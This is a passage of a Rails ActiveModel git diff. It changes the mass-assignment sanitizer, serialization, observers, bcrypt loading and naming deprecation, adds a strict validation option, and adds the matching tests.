model.class.respond_to?(:model_name), "The model should respond to model_name" model_name = model.class.model_name assert_kind_of String, model_name assert_kind_of String, model_name.human - assert_kind_of String, model_name.partial_path assert_kind_of String, model_name.singular assert_kind_of String, model_name.plural end diff --git a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb index bb0526adc3..bbdddfb50d 100644 --- a/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb +++ b/activemodel/lib/active_model/mass_assignment_security/sanitizer.rb @@ -44,8 +44,13 @@ module ActiveModel class StrictSanitizer < Sanitizer def process_removed_attributes(attrs) + return if (attrs - insensitive_attributes).empty? raise ActiveModel::MassAssignmentSecurity::Error, "Can't mass-assign protected attributes: #{attrs.join(', ')}" end + + def insensitive_attributes + ['id'] + end end class Error < StandardError diff --git a/activemodel/lib/active_model/naming.rb b/activemodel/lib/active_model/naming.rb index 4c1a82f413..f16459ede2 100644 --- a/activemodel/lib/active_model/naming.rb +++ b/activemodel/lib/active_model/naming.rb @@ -1,12 +1,15 @@ require 'active_support/inflector' require 'active_support/core_ext/hash/except' require 'active_support/core_ext/module/introspection' +require 'active_support/core_ext/module/deprecation' module ActiveModel class Name < String attr_reader :singular, :plural, :element, :collection, :partial_path, :route_key, :param_key, :i18n_key alias_method :cache_key, :collection + deprecate :partial_path => "ActiveModel::Name#partial_path is deprecated. Call #to_partial_path on model instances directly instead." + def initialize(klass, namespace = nil, name = nil) name ||= klass.name super(name) diff --git a/activemodel/lib/active_model/observing.rb b/activemodel/lib/active_model/observing.rb index d48f2e8a1f..7a910d18e7 100644 --- a/activemodel/lib/active_model/observing.rb +++ b/activemodel/lib/active_model/observing.rb @@ -226,10 +226,10 @@ module ActiveModel # Send observed_method(object) if the method exists and # the observer is enabled for the given object's class. - def update(observed_method, object) #:nodoc: + def update(observed_method, object, &block) #:nodoc: return unless respond_to?(observed_method) return if disabled_for?(object) - send(observed_method, object) + send(observed_method, object, &block) end # Special method sent by the observed class when it is inherited. diff --git a/activemodel/lib/active_model/secure_password.rb b/activemodel/lib/active_model/secure_password.rb index 63380d6ffd..7a109d9a52 100644 --- a/activemodel/lib/active_model/secure_password.rb +++ b/activemodel/lib/active_model/secure_password.rb @@ -1,5 +1,3 @@ -require 'bcrypt' - module ActiveModel module SecurePassword extend ActiveSupport::Concern @@ -12,6 +10,10 @@ module ActiveModel # a "password_confirmation" attribute) are automatically added. # You can add more validations by hand if need be. # + # You need to add bcrypt-ruby (~> 3.0.0) to Gemfile to use has_secure_password: + # + # gem 'bcrypt-ruby', '~> 3.0.0' + # # Example using Active Record (which automatically includes ActiveModel::SecurePassword): # # # Schema: User(name:string, password_digest:string) @@ -30,6 +32,11 @@ module ActiveModel # User.find_by_name("david").try(:authenticate, "notright") # => nil # User.find_by_name("david").try(:authenticate, "mUc3m00RsqyRe") # => user def has_secure_password + # Load bcrypt-ruby only when has_secured_password is used to avoid make ActiveModel + # (and by extension the entire framework) dependent on a binary library. + gem 'bcrypt-ruby', '~> 3.0.0' + require 'bcrypt' + attr_reader :password validates_confirmation_of :password diff --git a/activemodel/lib/active_model/serialization.rb b/activemodel/lib/active_model/serialization.rb index 9260c5082d..a4b58ab456 100644 --- a/activemodel/lib/active_model/serialization.rb +++ b/activemodel/lib/active_model/serialization.rb @@ -1,5 +1,7 @@ require 'active_support/core_ext/hash/except' require 'active_support/core_ext/hash/slice' +require 'active_support/core_ext/array/wrap' + module ActiveModel # == Active Model Serialization @@ -76,8 +78,11 @@ module ActiveModel attribute_names -= Array.wrap(except).map(&:to_s) end + hash = {} + attribute_names.each { |n| hash[n] = read_attribute_for_serialization(n) } + method_names = Array.wrap(options[:methods]).select { |n| respond_to?(n) } - hash = Hash[(attribute_names + method_names).map { |n| [n, send(n)] }] + method_names.each { |n| hash[n] = send(n) } serializable_add_includes(options) do |association, records, opts| hash[association] = if records.is_a?(Enumerable) @@ -91,17 +96,37 @@ module ActiveModel end private + + # Hook method defining how an attribute value should be retrieved for + # serialization. By default this is assumed to be an instance named after + # the attribute. Override this method in subclasses should you need to + # retrieve the value for a given attribute differently: + # + # class MyClass + # include ActiveModel::Validations + # + # def initialize(data = {}) + # @data = data + # end + # + # def read_attribute_for_serialization(key) + # @data[key] + # end + # end + # + alias :read_attribute_for_serialization :send + # Add associations specified via the <tt>:include</tt> option. # # Expects a block that takes as arguments: # +association+ - name of the association # +records+ - the association record(s) to be serialized # +opts+ - options for the association records - def serializable_add_includes(options = {}) + def serializable_add_includes(options = {}) #:nodoc: return unless include = options[:include] unless include.is_a?(Hash) - include = Hash[Array.wrap(include).map { |n| [n, {}] }] + include = Hash[Array.wrap(include).map { |n| n.is_a?(Hash) ? n.to_a.first : [n, {}] }] end include.each do |association, opts| diff --git a/activemodel/lib/active_model/serializers/json.rb b/activemodel/lib/active_model/serializers/json.rb index 4fbccd7419..c845440120 100644 --- a/activemodel/lib/active_model/serializers/json.rb +++ b/activemodel/lib/active_model/serializers/json.rb @@ -15,7 +15,7 @@ module ActiveModel self.include_root_in_json = true end - # Returns a JSON string representing the model. Some configuration can be + # Returns a hash representing the model. Some configuration can be # passed through +options+. # # The option <tt>include_root_in_json</tt> controls the top-level behavior @@ -42,7 +42,7 @@ module ActiveModel # The remainder of the examples in this section assume include_root_in_json is set to # <tt>false</tt>. # - # Without any +options+, the returned JSON string will include all the model's + # Without any +options+, the returned Hash will include all the model's # attributes. For example: # # user = User.find(1) @@ -86,21 +86,15 @@ module ActiveModel # "title": "Welcome to the weblog"}, # {"comments": [{"body": "Don't think too hard"}], # "title": "So I was thinking"}]} - def as_json(options = nil) - hash = serializable_hash(options) - - include_root = include_root_in_json - if options.try(:key?, :root) - include_root = options[:root] + root = include_root_in_json + root = options[:root] if options.try(:key?, :root) + if root + root = self.class.model_name.element if root == true + { root => serializable_hash(options) } + else + serializable_hash(options) end - - if include_root - custom_root = options && options[:root] - hash = { custom_root || self.class.model_name.element => hash } - end - - hash end def from_json(json, include_root=include_root_in_json) diff --git a/activemodel/lib/active_model/serializers/xml.rb b/activemodel/lib/active_model/serializers/xml.rb index 64dda3bcee..d61d9d7119 100644 --- a/activemodel/lib/active_model/serializers/xml.rb +++ b/activemodel/lib/active_model/serializers/xml.rb @@ -15,10 +15,10 @@ module ActiveModel class Attribute #:nodoc: attr_reader :name, :value, :type - def initialize(name, serializable, raw_value=nil) + def initialize(name, serializable, value) @name, @serializable = name, serializable - raw_value = raw_value.in_time_zone if raw_value.respond_to?(:in_time_zone) - @value = raw_value || @serializable.send(name) + value = value.in_time_zone if value.respond_to?(:in_time_zone) + @value = value @type = compute_type end @@ -49,40 +49,24 @@ module ActiveModel def initialize(serializable, options = nil) @serializable = serializable @options = options ? options.dup : {} - - @options[:only] = Array.wrap(@options[:only]).map { |n| n.to_s } - @options[:except] = Array.wrap(@options[:except]).map { |n| n.to_s } end - # To replicate the behavior in ActiveRecord#attributes, <tt>:except</tt> - # takes precedence over <tt>:only</tt>. If <tt>:only</tt> is not set - # for a N level model but is set for the N+1 level models, - # then because <tt>:except</tt> is set to a default value, the second - # level model can have both <tt>:except</tt> and <tt>:only</tt> set. So if - # <tt>:only</tt> is set, always delete <tt>:except</tt>. - def attributes_hash - attributes = @serializable.attributes - if options[:only].any? - attributes.slice(*options[:only]) - elsif options[:except].any? - attributes.except(*options[:except]) - else - attributes - end + def serializable_hash + @serializable.serializable_hash(@options.except(:include)) end - def serializable_attributes - attributes_hash.map do |name, value| - self.class::Attribute.new(name, @serializable, value) + def serializable_collection + methods = Array.wrap(options[:methods]).map(&:to_s) + serializable_hash.map do |name, value| + name = name.to_s + if methods.include?(name) + self.class::MethodAttribute.new(name, @serializable, value) + else + self.class::Attribute.new(name, @serializable, value) + end end end - def serializable_methods - Array.wrap(options[:methods]).map do |name| - self.class::MethodAttribute.new(name.to_s, @serializable) if @serializable.respond_to?(name.to_s) - end.compact - end - def serialize require 'builder' unless defined? ::Builder @@ -114,7 +98,7 @@ module ActiveModel end def add_attributes_and_methods - (serializable_attributes + serializable_methods).each do |attribute| + serializable_collection.each do |attribute| key = ActiveSupport::XmlMini.rename_key(attribute.name, options) ActiveSupport::XmlMini.to_tag(key, attribute.value, options.merge(attribute.decorations)) diff --git a/activemodel/lib/active_model/validations/acceptance.rb b/activemodel/lib/active_model/validations/acceptance.rb index 01907ac9da..e628c6f306 100644 --- a/activemodel/lib/active_model/validations/acceptance.rb +++ b/activemodel/lib/active_model/validations/acceptance.rb @@ -58,6 +58,8 @@ module ActiveModel # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). # The method, proc or string should return or evaluate to a true or # false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_acceptance_of(*attr_names) validates_with AcceptanceValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/confirmation.rb b/activemodel/lib/active_model/validations/confirmation.rb index a9dcb0b505..6573a7d264 100644 --- a/activemodel/lib/active_model/validations/confirmation.rb +++ b/activemodel/lib/active_model/validations/confirmation.rb @@ -58,6 +58,8 @@ module ActiveModel # <tt>:unless => :skip_validation</tt>, or # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_confirmation_of(*attr_names) validates_with ConfirmationValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/exclusion.rb b/activemodel/lib/active_model/validations/exclusion.rb index d3b8d31502..644cc814a7 100644 --- a/activemodel/lib/active_model/validations/exclusion.rb +++ b/activemodel/lib/active_model/validations/exclusion.rb @@ -59,6 +59,8 @@ module ActiveModel # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_exclusion_of(*attr_names) validates_with ExclusionValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/format.rb b/activemodel/lib/active_model/validations/format.rb index 090e8cfbae..d3faa8c6a6 100644 --- a/activemodel/lib/active_model/validations/format.rb +++ b/activemodel/lib/active_model/validations/format.rb @@ -84,6 +84,8 @@ module ActiveModel # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_format_of(*attr_names) validates_with FormatValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/inclusion.rb b/activemodel/lib/active_model/validations/inclusion.rb index 9a9270d615..147e2ecb69 100644 --- a/activemodel/lib/active_model/validations/inclusion.rb +++ b/activemodel/lib/active_model/validations/inclusion.rb @@ -59,6 +59,8 @@ module ActiveModel # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_inclusion_of(*attr_names) validates_with InclusionValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/length.rb b/activemodel/lib/active_model/validations/length.rb index 144e73904e..eb7aac709d 100644 --- a/activemodel/lib/active_model/validations/length.rb +++ b/activemodel/lib/active_model/validations/length.rb @@ -96,6 +96,8 @@ module ActiveModel # * <tt>:tokenizer</tt> - Specifies how to split up the attribute string. (e.g. <tt>:tokenizer => lambda {|str| str.scan(/\w+/)}</tt> to # count words as in above example.) # Defaults to <tt>lambda{ |value| value.split(//) }</tt> which counts individual characters. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information def validates_length_of(*attr_names) validates_with LengthValidator, _merge_attributes(attr_names) end diff --git a/activemodel/lib/active_model/validations/numericality.rb b/activemodel/lib/active_model/validations/numericality.rb index 0d1903362c..34d447a0fa 100644 --- a/activemodel/lib/active_model/validations/numericality.rb +++ b/activemodel/lib/active_model/validations/numericality.rb @@ -107,6 +107,8 @@ module ActiveModel # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information # # The following checks can also be supplied with a proc or a symbol which corresponds to a method: # * <tt>:greater_than</tt> diff --git a/activemodel/lib/active_model/validations/presence.rb b/activemodel/lib/active_model/validations/presence.rb index cfb4c33dcc..35af7152db 100644 --- a/activemodel/lib/active_model/validations/presence.rb +++ b/activemodel/lib/active_model/validations/presence.rb @@ -35,6 +35,8 @@ module ActiveModel # * <tt>unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). # The method, proc or string should return or evaluate to a true or false value. + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information # def validates_presence_of(*attr_names) validates_with PresenceValidator, _merge_attributes(attr_names) diff --git a/activemodel/lib/active_model/validations/validates.rb b/activemodel/lib/active_model/validations/validates.rb index 7ff42de00b..b85c2453fb 100644 --- a/activemodel/lib/active_model/validations/validates.rb +++ b/activemodel/lib/active_model/validations/validates.rb @@ -70,8 +70,8 @@ module ActiveModel # validator's initializer as +options[:in]+ while other types including # regular expressions and strings are passed as +options[:with]+ # - # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+ and +:allow_nil+ can be given - # to one specific validator, as a hash: + # Finally, the options +:if+, +:unless+, +:on+, +:allow_blank+, +:allow_nil+ and +:strict+ + # can be given to one specific validator, as a hash: # # validates :password, :presence => { :if => :password_required? }, :confirmation => true # @@ -101,12 +101,24 @@ module ActiveModel end end + # This method is used to define validation that can not be corrected by end user + # and is considered exceptional. + # So each validator defined with bang or <tt>:strict</tt> option set to <tt>true</tt> + # will always raise <tt>ActiveModel::InternalValidationFailed</tt> instead of adding error + # when validation fails + # See <tt>validates</tt> for more information about validation itself. + def validates!(*attributes) + options = attributes.extract_options! + options[:strict] = true + validates(*(attributes << options)) + end + protected # When creating custom validators, it might be useful to be able to specify # additional default keys. This can be done by overwriting this method. def _validates_default_keys - [ :if, :unless, :on, :allow_blank, :allow_nil ] + [ :if, :unless, :on, :allow_blank, :allow_nil , :strict] end def _parse_validates_options(options) #:nodoc: diff --git a/activemodel/lib/active_model/validations/with.rb b/activemodel/lib/active_model/validations/with.rb index 65ae18a769..83aae206a6 100644 --- a/activemodel/lib/active_model/validations/with.rb +++ b/activemodel/lib/active_model/validations/with.rb @@ -61,7 +61,9 @@ module ActiveModel # (e.g. <tt>:unless => :skip_validation</tt>, or # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). # The method, proc or string should return or evaluate to a true or false value. - # + # * <tt>:strict</tt> - Specifies whether validation should be strict. + # See <tt>ActiveModel::Validation#validates!</tt> for more information + # If you pass any additional configuration options, they will be passed # to the class and available as <tt>options</tt>: # @@ -101,7 +103,7 @@ module ActiveModel # class Person # include ActiveModel::Validations # - # validates :instance_validations + # validate :instance_validations # # def instance_validations # validates_with MyValidator @@ -116,7 +118,7 @@ module ActiveModel # class Person # include ActiveModel::Validations # - # validates :instance_validations, :on => :create + # validate :instance_validations, :on => :create # # def instance_validations # validates_with MyValidator, MyOtherValidator @@ -140,4 +142,4 @@ module ActiveModel end end end -end
\ No newline at end of file +end diff --git a/activemodel/test/cases/attribute_methods_test.rb b/activemodel/test/cases/attribute_methods_test.rb index 9840e3364c..67471ed497 100644 --- a/activemodel/test/cases/attribute_methods_test.rb +++ b/activemodel/test/cases/attribute_methods_test.rb @@ -3,8 +3,6 @@ require 'cases/helper' class ModelWithAttributes include ActiveModel::AttributeMethods - attribute_method_suffix '' - class << self define_method(:bar) do 'original bar' @@ -24,14 +22,31 @@ end class ModelWithAttributes2 include ActiveModel::AttributeMethods + attr_accessor :attributes + attribute_method_suffix '_test' + +private + def attribute(name) + attributes[name.to_s] + end + + alias attribute_test attribute + + def private_method + "<3 <3" + end + +protected + + def protected_method + "O_o O_o" + end end class ModelWithAttributesWithSpaces include ActiveModel::AttributeMethods - attribute_method_suffix '' - def attributes { :'foo bar' => 'value of foo bar'} end @@ -45,8 +60,6 @@ end class ModelWithWeirdNamesAttributes include ActiveModel::AttributeMethods - attribute_method_suffix '' - class << self define_method(:'c?d') do 'original c?d' @@ -76,6 +89,29 @@ class AttributeMethodsTest < ActiveModel::TestCase assert_equal "value of foo", ModelWithAttributes.new.foo end + test '#define_attribute_method does not generate attribute method if already defined in attribute module' do + klass = Class.new(ModelWithAttributes) + klass.generated_attribute_methods.module_eval do + def foo + '<3' + end + end + klass.define_attribute_method(:foo) + + assert_equal '<3', klass.new.foo + end + + test '#define_attribute_method generates a method that is already defined on the host' do + klass = Class.new(ModelWithAttributes) do + def foo + super + end + end + klass.define_attribute_method(:foo) + + assert_equal 'value of foo', klass.new.foo + end + test '#define_attribute_method generates attribute method with invalid identifier characters' do ModelWithWeirdNamesAttributes.define_attribute_method(:'a?b') @@ -129,4 +165,64 @@ class AttributeMethodsTest < ActiveModel::TestCase assert !ModelWithAttributes.new.respond_to?(:foo) assert_raises(NoMethodError) { ModelWithAttributes.new.foo } end + + test 'acessing a suffixed attribute' do + m = ModelWithAttributes2.new + m.attributes = { 'foo' => 'bar' } + + assert_equal 'bar', m.foo + assert_equal 'bar', m.foo_test + end + + test 'explicitly specifying an empty prefix/suffix is deprecated' do + klass = Class.new(ModelWithAttributes) + + assert_deprecated { klass.attribute_method_suffix '' } + assert_deprecated { klass.attribute_method_prefix '' } + + klass.define_attribute_methods([:foo]) + + assert_equal 'value of foo', klass.new.foo + end + + test 'should not interfere with method_missing if the attr has a private/protected method' do + m = ModelWithAttributes2.new + m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' } + + # dispatches to the *method*, not the attribute + assert_equal '<3 <3', m.send(:private_method) + assert_equal 'O_o O_o', m.send(:protected_method) + + # sees that a method is already defined, so doesn't intervene + assert_raises(NoMethodError) { m.private_method } + assert_raises(NoMethodError) { m.protected_method } + end + + test 'should not interfere with respond_to? if the attribute has a private/protected method' do + m = ModelWithAttributes2.new + m.attributes = { 'private_method' => '<3', 'protected_method' => 'O_o' } + + assert !m.respond_to?(:private_method) + assert m.respond_to?(:private_method, true) + + # This is messed up, but it's how Ruby works at the moment. Apparently it will be changed + # in the future. + assert m.respond_to?(:protected_method) + assert m.respond_to?(:protected_method, true) + end + + test 'should use attribute_missing to dispatch a missing attribute' do + m = ModelWithAttributes2.new + m.attributes = { 'foo' => 'bar' } + + def m.attribute_missing(match, *args, &block) + match + end + + match = m.foo_test + + assert_equal 'foo', match.attr_name + assert_equal 'attribute_test', match.target + assert_equal 'foo_test', match.method_name + end end diff --git a/activemodel/test/cases/conversion_test.rb b/activemodel/test/cases/conversion_test.rb index 7669bf5f65..24552bcaf2 100644 --- a/activemodel/test/cases/conversion_test.rb +++ b/activemodel/test/cases/conversion_test.rb @@ -1,5 +1,6 @@ require 'cases/helper' require 'models/contact' +require 'models/helicopter' class ConversionTest < ActiveModel::TestCase test "to_model default implementation returns self" do @@ -22,4 +23,10 @@ class ConversionTest < ActiveModel::TestCase test "to_param default implementation returns a string of ids for persisted records" do assert_equal "1", Contact.new(:id => 1).to_param end -end
\ No newline at end of file + + test "to_path default implementation returns a string giving a relative path" do + assert_equal "contacts/contact", Contact.new.to_partial_path + assert_equal "helicopters/helicopter", Helicopter.new.to_partial_path, + "ActiveModel::Conversion#to_partial_path caching should be class-specific" + end +end diff --git a/activemodel/test/cases/errors_test.rb b/activemodel/test/cases/errors_test.rb index a24cac40ad..4c76bb43a8 100644 --- a/activemodel/test/cases/errors_test.rb +++ b/activemodel/test/cases/errors_test.rb @@ -33,11 +33,18 @@ class ErrorsTest < ActiveModel::TestCase assert errors.include?(:foo), 'errors should include :foo' end + def test_has_key? + errors = ActiveModel::Errors.new(self) + errors[:foo] = 'omg' + assert errors.has_key?(:foo), 'errors should have key :foo' + end + test "should return true if no errors" do person = Person.new person.errors[:foo] assert person.errors.empty? assert person.errors.blank? + assert !person.errors.include?(:foo) end test "method validate! should work" do @@ -45,7 +52,6 @@ class ErrorsTest < ActiveModel::TestCase person.validate! assert_equal ["name can not be nil"], person.errors.full_messages assert_equal ["can not be nil"], person.errors[:name] - end test 'should be able to assign error' do @@ -71,7 +77,6 @@ class ErrorsTest < ActiveModel::TestCase person.errors.add(:name, "can not be blank") person.errors.add(:name, "can not be nil") assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a - end test 'to_hash should return an ordered hash' do @@ -79,4 +84,33 @@ class ErrorsTest < ActiveModel::TestCase person.errors.add(:name, "can not be blank") assert_instance_of ActiveSupport::OrderedHash, person.errors.to_hash end + + test 'full_messages should return an array of error messages, with the attribute name included' do + person = Person.new + person.errors.add(:name, "can not be blank") + person.errors.add(:name, "can not be nil") + assert_equal ["name can not be blank", "name can not be nil"], person.errors.to_a + end + + test 'full_message should return the given message if attribute equals :base' do + person = Person.new + assert_equal "press the button", person.errors.full_message(:base, "press the button") + end + + test 'full_message should return the given message with the attribute name included' do + person = Person.new + assert_equal "name can not be blank", person.errors.full_message(:name, "can not be blank") + end + + test 'should return a JSON hash representation of the errors' do + person = Person.new + person.errors.add(:name, "can not be blank") + person.errors.add(:name, "can not be nil") + person.errors.add(:email, "is invalid") + hash = person.errors.as_json + assert_equal ["can not be blank", "can not be nil"], hash[:name] + assert_equal ["is invalid"], hash[:email] + end + end + diff --git a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb index 62a6ec9c9b..676937b5e1 100644 --- a/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb +++ b/activemodel/test/cases/mass_assignment_security/sanitizer_test.rb @@ -7,7 +7,7 @@ class SanitizerTest < ActiveModel::TestCase class Authorizer < ActiveModel::MassAssignmentSecurity::PermissionSet def deny?(key) - key.in?(['admin']) + ['admin', 'id'].include?(key) end end @@ -40,4 +40,12 @@ class SanitizerTest < ActiveModel::TestCase end end + test "mass assignment insensitive attributes" do + original_attributes = {'id' => 1, 'first_name' => 'allowed'} + + assert_nothing_raised do + @strict_sanitizer.sanitize(original_attributes, @authorizer) + end + end + end diff --git a/activemodel/test/cases/naming_test.rb b/activemodel/test/cases/naming_test.rb index f814fcc56c..5f943729dd 100644 --- a/activemodel/test/cases/naming_test.rb +++ b/activemodel/test/cases/naming_test.rb @@ -26,7 +26,9 @@ class NamingTest < ActiveModel::TestCase end def test_partial_path - assert_equal 'post/track_backs/track_back', @model_name.partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'post/track_backs/track_back', @model_name.partial_path + end end def test_human @@ -56,7 +58,9 @@ class NamingWithNamespacedModelInIsolatedNamespaceTest < ActiveModel::TestCase end def test_partial_path - assert_equal 'blog/posts/post', @model_name.partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'blog/posts/post', @model_name.partial_path + end end def test_human @@ -98,7 +102,9 @@ class NamingWithNamespacedModelInSharedNamespaceTest < ActiveModel::TestCase end def test_partial_path - assert_equal 'blog/posts/post', @model_name.partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'blog/posts/post', @model_name.partial_path + end end def test_human @@ -136,11 +142,13 @@ class NamingWithSuppliedModelNameTest < ActiveModel::TestCase end def test_partial_path - assert_equal 'articles/article', @model_name.partial_path + assert_deprecated(/#partial_path.*#to_partial_path/) do + assert_equal 'articles/article', @model_name.partial_path + end end def test_human - 'Article' + assert_equal 'Article', @model_name.human end def test_route_key diff --git a/activemodel/test/cases/observing_test.rb b/activemodel/test/cases/observing_test.rb index 99b1f407ae..f6ec24ae57 100644 --- a/activemodel/test/cases/observing_test.rb +++ b/activemodel/test/cases/observing_test.rb @@ -17,6 +17,10 @@ class FooObserver < ActiveModel::Observer def on_spec(record) stub.event_with(record) if stub end + + def around_save(record) + yield :in_around_save + end end class Foo @@ -133,4 +137,12 @@ class ObserverTest < ActiveModel::TestCase foo = Foo.new Foo.send(:notify_observers, :whatever, foo) end + + test "update passes a block on to the observer" do + yielded_value = nil + FooObserver.instance.update(:around_save, Foo.new) do |val| + yielded_value = val + end + assert_equal :in_around_save, yielded_value + end end diff --git a/activemodel/test/cases/serialization_test.rb b/activemodel/test/cases/serialization_test.rb index 5122f08eec..b8dad9d51f 100644 --- a/activemodel/test/cases/serialization_test.rb +++ b/activemodel/test/cases/serialization_test.rb @@ -77,6 +77,15 @@ class SerializationTest < ActiveModel::TestCase assert_equal expected , @user.serializable_hash(:methods => [:bar]) end + def test_should_use_read_attribute_for_serialization + def @user.read_attribute_for_serialization(n) + "Jon" + end + + expected = { "name" => "Jon" } + assert_equal expected, @user.serializable_hash(:only => :name) + end + def test_include_option_with_singular_association expected = {"name"=>"David", "gender"=>"male", "email"=>"david@example.com", :address=>{"street"=>"123 Lane", "city"=>"Springfield", "state"=>"CA", "zip"=>11111}} @@ -114,8 +123,29 @@ class SerializationTest < ActiveModel::TestCase @user.friends.first.friends = [@user] expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male', - :friends => ["email"=>"david@example.com", "gender"=>"male", "name"=>"David"]}, + :friends => [{"email"=>"david@example.com", "gender"=>"male", "name"=>"David"}]}, {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female', :friends => []}]} assert_equal expected , @user.serializable_hash(:include => {:friends => {:include => :friends}}) end + + def test_only_include + expected = {"name"=>"David", :friends => [{"name" => "Joe"}, {"name" => "Sue"}]} + assert_equal expected , @user.serializable_hash(:only => :name, :include => {:friends => {:only => :name}}) + end + + def test_except_include + expected = {"name"=>"David", "email"=>"david@example.com", + :friends => [{"name" => 'Joe', "email" => 'joe@example.com'}, + {"name" => "Sue", "email" => 'sue@example.com'}]} + assert_equal expected , @user.serializable_hash(:except => :gender, :include => {:friends => {:except => :gender}}) + end + + def test_multiple_includes_with_options + expected = {"email"=>"david@example.com", "gender"=>"male", "name"=>"David", + :address=>{"street"=>"123 Lane"}, + :friends=>[{"name"=>'Joe', "email"=>'joe@example.com', "gender"=>'male'}, + {"name"=>'Sue', "email"=>'sue@example.com', "gender"=>'female'}]} + assert_equal expected , @user.serializable_hash(:include => [{:address => {:only => "street"}}, :friends]) + end + end diff --git a/activemodel/test/cases/serializers/json_serialization_test.rb b/activemodel/test/cases/serializers/json_serialization_test.rb index 5e1e7d897a..a754d610b9 100644 --- a/activemodel/test/cases/serializers/json_serialization_test.rb +++ b/activemodel/test/cases/serializers/json_serialization_test.rb @@ -56,6 +56,16 @@ class JsonSerializationTest < ActiveModel::TestCase end end + test "should include root in json (option) even if the default is set to false" do + begin + Contact.include_root_in_json = false + json = @contact.to_json(:root => true) + assert_match %r{^\{"contact":\{}, json + ensure + Contact.include_root_in_json = true + end + end + test "should not include root in json (option)" do json = @contact.to_json(:root => false) @@ -196,4 +206,14 @@ class JsonSerializationTest < ActiveModel::TestCase assert_no_match %r{"preferences":}, json end + test "custom as_json options should be extendible" do + def @contact.as_json(options = {}); super(options.merge(:only => [:name])); end + json = @contact.to_json + + assert_match %r{"name":"Konata Izumi"}, json + assert_no_match %r{"created_at":#{ActiveSupport::JSON.encode(Time.utc(2006, 8, 1))}}, json + assert_no_match %r{"awesome":}, json + assert_no_match %r{"preferences":}, json + end + end diff --git a/activemodel/test/cases/serializers/xml_serialization_test.rb b/activemodel/test/cases/serializers/xml_serialization_test.rb index a38ef8e223..fc73d9dcd8 100644 --- a/activemodel/test/cases/serializers/xml_serialization_test.rb +++ b/activemodel/test/cases/serializers/xml_serialization_test.rb @@ -33,6 +33,12 @@ class Address end end +class SerializableContact < Contact + def serializable_hash(options={}) + super(options.merge(:only => [:name, :age])) + end +end + class XmlSerializationTest < ActiveModel::TestCase def setup @contact = Contact.new @@ -96,6 +102,17 @@ class XmlSerializationTest < ActiveModel::TestCase assert_match %r{<createdAt}, @xml end + test "should use serialiable hash" do + @contact = SerializableContact.new + @contact.name = 'aaron stack' + @contact.age = 25 + + @xml = @contact.to_xml + assert_match %r{<name>aaron stack</name>}, @xml + assert_match %r{<age type="integer">25</age>}, @xml + assert_no_match %r{<awesome>}, @xml + end + test "should allow skipped types" do @xml = @contact.to_xml :skip_types => true assert_match %r{<age>25</age>}, @xml diff --git a/activemodel/test/cases/validations_test.rb b/activemodel/test/cases/validations_test.rb index 0b50acf913..2f4376bd41 100644 --- a/activemodel/test/cases/validations_test.rb +++ b/activemodel/test/cases/validations_test.rb @@ -297,4 +297,37 @@ class ValidationsTest < ActiveModel::TestCase assert auto.valid? end + + def test_strict_validation_in_validates + Topic.validates :title, :strict => true, :presence => true + assert_raises ActiveModel::StrictValidationFailed do + Topic.new.valid? + end + end + + def test_strict_validation_not_fails + Topic.validates :title, :strict => true, :presence => true + assert Topic.new(:title => 